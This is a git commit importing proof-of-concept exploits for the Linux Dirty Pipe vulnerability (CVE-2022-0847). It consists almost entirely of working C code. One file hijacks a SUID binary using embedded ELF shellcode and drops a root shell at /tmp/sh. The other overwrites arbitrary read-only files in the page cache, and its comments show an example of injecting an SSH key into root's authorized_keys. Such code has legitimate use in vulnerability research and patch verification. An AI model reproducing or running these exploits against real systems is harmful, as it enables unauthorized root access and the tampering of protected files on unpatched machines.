commit 68338516d8479e9872fd8fc276e465d8360233fd
Author: Carlos Mogas da Silva <r3pek@r3pek.org>
Date:   Tue Mar 8 08:31:38 2022 +0000

    Initial import

diff --git a/README.md b/README.md
new file mode 100644
index 0000000..4dfa9f6
--- /dev/null
+++ b/README.md
@@ -0,0 +1 @@
+PoCs for CVE-2022-0847 [DirtyPipe](https://dirtypipe.cm4all.com/) vulnerability.
diff --git a/dirtypipez.c b/dirtypipez.c
new file mode 100644
index 0000000..8b7c87e
--- /dev/null
+++ b/dirtypipez.c
@@ -0,0 +1,218 @@
+//
+// dirtypipez.c
+//
+// hacked up Dirty Pipe (CVE-2022-0847) PoC that hijacks a SUID binary to spawn
+// a root shell. (and attempts to restore the damaged binary as well)
+//
+// Wow, Dirty CoW reloaded!
+//
+// -- blasty <peter@haxx.in> // 2022-03-07
+
+/* SPDX-License-Identifier: GPL-2.0 */
+/*
+ * Copyright 2022 CM4all GmbH / IONOS SE
+ *
+ * author: Max Kellermann <max.kellermann@ionos.com>
+ *
+ * Proof-of-concept exploit for the Dirty Pipe
+ * vulnerability (CVE-2022-0847) caused by an uninitialized
+ * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
+ * file contents in the page cache, even if the file is not permitted
+ * to be written, immutable or on a read-only mount.
+ *
+ * This exploit requires Linux 5.8 or later; the code path was made
+ * reachable by commit f6dd975583bd ("pipe: merge
+ * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
+ * there before, it just provided an easy way to exploit it.
+ *
+ * There are two major limitations of this exploit: the offset cannot
+ * be on a page boundary (it needs to write one byte before the offset
+ * to add a reference to this page to the pipe), and the write cannot
+ * cross a page boundary.
+ *
+ * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
+ *
+ * Further explanation: https://dirtypipe.cm4all.com/
+ */
+
+#define _GNU_SOURCE
+#include <unistd.h>
+#include <fcntl.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/stat.h>
+#include <sys/user.h>
+#include <stdint.h>
+
+#ifndef PAGE_SIZE
+#define PAGE_SIZE 4096
+#endif
+
+// small (linux x86_64) ELF file matroshka doll that does;
+//   fd = open("/tmp/sh", O_WRONLY | O_CREAT | O_TRUNC);
+//   write(fd, elfcode, elfcode_len)
+//   chmod("/tmp/sh", 04755)
+//   close(fd);
+//   exit(0);
+//
+// the dropped ELF simply does:
+//   setuid(0);
+//   setgid(0);
+//   execve("/bin/sh", ["/bin/sh", NULL], [NULL]);
+unsigned char elfcode[] = {
+	/*0x7f,*/ 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
+	0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
+	0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
+	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
+	0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
+	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
+	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
+	0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00,
+	0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	0x48, 0x8d, 0x3d, 0x56, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x41, 0x02,
+	0x00, 0x00, 0x48, 0xc7, 0xc0, 0x02, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48,
+	0x89, 0xc7, 0x48, 0x8d, 0x35, 0x44, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc2,
+	0xba, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x0f,
+	0x05, 0x48, 0xc7, 0xc0, 0x03, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d,
+	0x3d, 0x1c, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0xed, 0x09, 0x00, 0x00,
+	0x48, 0xc7, 0xc0, 0x5a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff,
+	0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x74, 0x6d,
+	0x70, 0x2f, 0x73, 0x68, 0x00, 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01,
+	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e,
+	0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00,
+	0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38,
+	0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
+	0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40,
+	0x00, 0x00, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00,
+	0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x69,
+	0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x6a,
+	0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x1b, 0x00, 0x00, 0x00,
+	0x6a, 0x00, 0x48, 0x89, 0xe2, 0x57, 0x48, 0x89, 0xe6, 0x48, 0xc7, 0xc0,
+	0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00,
+	0x00, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00
+};
+
+/**
+ * Create a pipe where all "bufs" on the pipe_inode_info ring have the
+ * PIPE_BUF_FLAG_CAN_MERGE flag set.
+ */
+static void prepare_pipe(int p[2])
+{
+	if (pipe(p)) abort();
+
+	const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
+	static char buffer[4096];
+
+	/* fill the pipe completely; each pipe_buffer will now have
+	   the PIPE_BUF_FLAG_CAN_MERGE flag */
+	for (unsigned r = pipe_size; r > 0;) {
+		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
+		write(p[1], buffer, n);
+		r -= n;
+	}
+
+	/* drain the pipe, freeing all pipe_buffer instances (but
+	   leaving the flags initialized) */
+	for (unsigned r = pipe_size; r > 0;) {
+		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
+		read(p[0], buffer, n);
+		r -= n;
+	}
+
+	/* the pipe is now empty, and if somebody adds a new
+	   pipe_buffer without initializing its "flags", the buffer
+	   will be mergeable */
+}
+
+int hax(char *filename, long offset, uint8_t *data, size_t len) {
+	/* open the input file and validate the specified offset */
+	const int fd = open(filename, O_RDONLY); // yes, read-only! :-)
+	if (fd < 0) {
+		perror("open failed");
+		return -1;
+	}
+
+	struct stat st;
+	if (fstat(fd, &st)) {
+		perror("stat failed");
+		return -1;
+	}
+
+	/* create the pipe with all flags initialized with
+	   PIPE_BUF_FLAG_CAN_MERGE */
+	int p[2];
+	prepare_pipe(p);
+
+	/* splice one byte from before the specified offset into the
+	   pipe; this will add a reference to the page cache, but
+	   since copy_page_to_iter_pipe() does not initialize the
+	   "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
+	--offset;
+	ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
+	if (nbytes < 0) {
+		perror("splice failed");
+		return -1;
+	}
+	if (nbytes == 0) {
+		fprintf(stderr, "short splice\n");
+		return -1;
+	}
+
+	/* the following write will not create a new pipe_buffer, but
+	   will instead write into the page cache, because of the
+	   PIPE_BUF_FLAG_CAN_MERGE flag */
+	nbytes = write(p[1], data, len);
+	if (nbytes < 0) {
+		perror("write failed");
+		return -1;
+	}
+	if ((size_t)nbytes < len) {
+		fprintf(stderr, "short write\n");
+		return -1;
+	}
+
+	close(fd);
+
+	return 0;
+}
+
+int main(int argc, char **argv) {
+	if (argc != 2) {
+		fprintf(stderr, "Usage: %s SUID\n", argv[0]);
+		return EXIT_FAILURE;
+	}
+
+	char *path = argv[1];
+	uint8_t *data = elfcode;
+
+	int fd = open(path, O_RDONLY);
+	uint8_t *orig_bytes = malloc(sizeof(elfcode));
+	lseek(fd, 1, SEEK_SET);
+	read(fd, orig_bytes, sizeof(elfcode));
+	close(fd);
+
+	printf("[+] hijacking suid binary..\n");
+	if (hax(path, 1, elfcode, sizeof(elfcode)) != 0) {
+		printf("[~] failed\n");
+		return EXIT_FAILURE;
+	}
+
+	printf("[+] dropping suid shell..\n");
+	system(path);
+
+	printf("[+] restoring suid binary..\n");
+	if (hax(path, 1, orig_bytes, sizeof(elfcode)) != 0) {
+		printf("[~] failed\n");
+		return EXIT_FAILURE;
+	}
+
+	printf("[+] popping root shell.. (dont forget to clean up /tmp/sh ;))\n");
+	system("/tmp/sh");
+
+	return EXIT_SUCCESS;
+}
diff --git a/orifinal.c b/orifinal.c
new file mode 100644
index 0000000..6899516
--- /dev/null
+++ b/orifinal.c
@@ -0,0 +1,156 @@
+/* SPDX-License-Identifier: GPL-2.0 */
+/*
+ * Copyright 2022 CM4all GmbH / IONOS SE
+ *
+ * author: Max Kellermann <max.kellermann@ionos.com>
+ *
+ * Proof-of-concept exploit for the Dirty Pipe
+ * vulnerability (CVE-2022-0847) caused by an uninitialized
+ * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
+ * file contents in the page cache, even if the file is not permitted
+ * to be written, immutable or on a read-only mount.
+ *
+ * This exploit requires Linux 5.8 or later; the code path was made
+ * reachable by commit f6dd975583bd ("pipe: merge
+ * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
+ * there before, it just provided an easy way to exploit it.
+ *
+ * There are two major limitations of this exploit: the offset cannot
+ * be on a page boundary (it needs to write one byte before the offset
+ * to add a reference to this page to the pipe), and the write cannot
+ * cross a page boundary.
+ *
+ * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
+ *
+ * Further explanation: https://dirtypipe.cm4all.com/
+ */
+
+#define _GNU_SOURCE
+#include <unistd.h>
+#include <fcntl.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/stat.h>
+#include <sys/user.h>
+
+#ifndef PAGE_SIZE
+#define PAGE_SIZE 4096
+#endif
+
+/**
+ * Create a pipe where all "bufs" on the pipe_inode_info ring have the
+ * PIPE_BUF_FLAG_CAN_MERGE flag set.
+ */
+static void prepare_pipe(int p[2])
+{
+	if (pipe(p)) abort();
+
+	const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
+	static char buffer[4096];
+
+	/* fill the pipe completely; each pipe_buffer will now have
+	   the PIPE_BUF_FLAG_CAN_MERGE flag */
+	for (unsigned r = pipe_size; r > 0;) {
+		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
+		write(p[1], buffer, n);
+		r -= n;
+	}
+
+	/* drain the pipe, freeing all pipe_buffer instances (but
+	   leaving the flags initialized) */
+	for (unsigned r = pipe_size; r > 0;) {
+		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
+		read(p[0], buffer, n);
+		r -= n;
+	}
+
+	/* the pipe is now empty, and if somebody adds a new
+	   pipe_buffer without initializing its "flags", the buffer
+	   will be mergeable */
+}
+
+int main(int argc, char **argv)
+{
+	if (argc != 4) {
+		fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
+		return EXIT_FAILURE;
+	}
+
+	/* dumb command-line argument parser */
+	const char *const path = argv[1];
+	loff_t offset = strtoul(argv[2], NULL, 0);
+	const char *const data = argv[3];
+	const size_t data_size = strlen(data);
+
+	if (offset % PAGE_SIZE == 0) {
+		fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
+		return EXIT_FAILURE;
+	}
+
+	const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
+	const loff_t end_offset = offset + (loff_t)data_size;
+	if (end_offset > next_page) {
+		fprintf(stderr, "Sorry, cannot write across a page boundary\n");
+		return EXIT_FAILURE;
+	}
+
+	/* open the input file and validate the specified offset */
+	const int fd = open(path, O_RDONLY); // yes, read-only! :-)
+	if (fd < 0) {
+		perror("open failed");
+		return EXIT_FAILURE;
+	}
+
+	struct stat st;
+	if (fstat(fd, &st)) {
+		perror("stat failed");
+		return EXIT_FAILURE;
+	}
+
+	if (offset > st.st_size) {
+		fprintf(stderr, "Offset is not inside the file\n");
+		return EXIT_FAILURE;
+	}
+
+	if (end_offset > st.st_size) {
+		fprintf(stderr, "Sorry, cannot enlarge the file\n");
+		return EXIT_FAILURE;
+	}
+
+	/* create the pipe with all flags initialized with
+	   PIPE_BUF_FLAG_CAN_MERGE */
+	int p[2];
+	prepare_pipe(p);
+
+	/* splice one byte from before the specified offset into the
+	   pipe; this will add a reference to the page cache, but
+	   since copy_page_to_iter_pipe() does not initialize the
+	   "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
+	--offset;
+	ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
+	if (nbytes < 0) {
+		perror("splice failed");
+		return EXIT_FAILURE;
+	}
+	if (nbytes == 0) {
+		fprintf(stderr, "short splice\n");
+		return EXIT_FAILURE;
+	}
+
+	/* the following write will not create a new pipe_buffer, but
+	   will instead write into the page cache, because of the
+	   PIPE_BUF_FLAG_CAN_MERGE flag */
+	nbytes = write(p[1], data, data_size);
+	if (nbytes < 0) {
+		perror("write failed");
+		return EXIT_FAILURE;
+	}
+	if ((size_t)nbytes < data_size) {
+		fprintf(stderr, "short write\n");
+		return EXIT_FAILURE;
+	}
+
+	printf("It worked!\n");
+	return EXIT_SUCCESS;
+}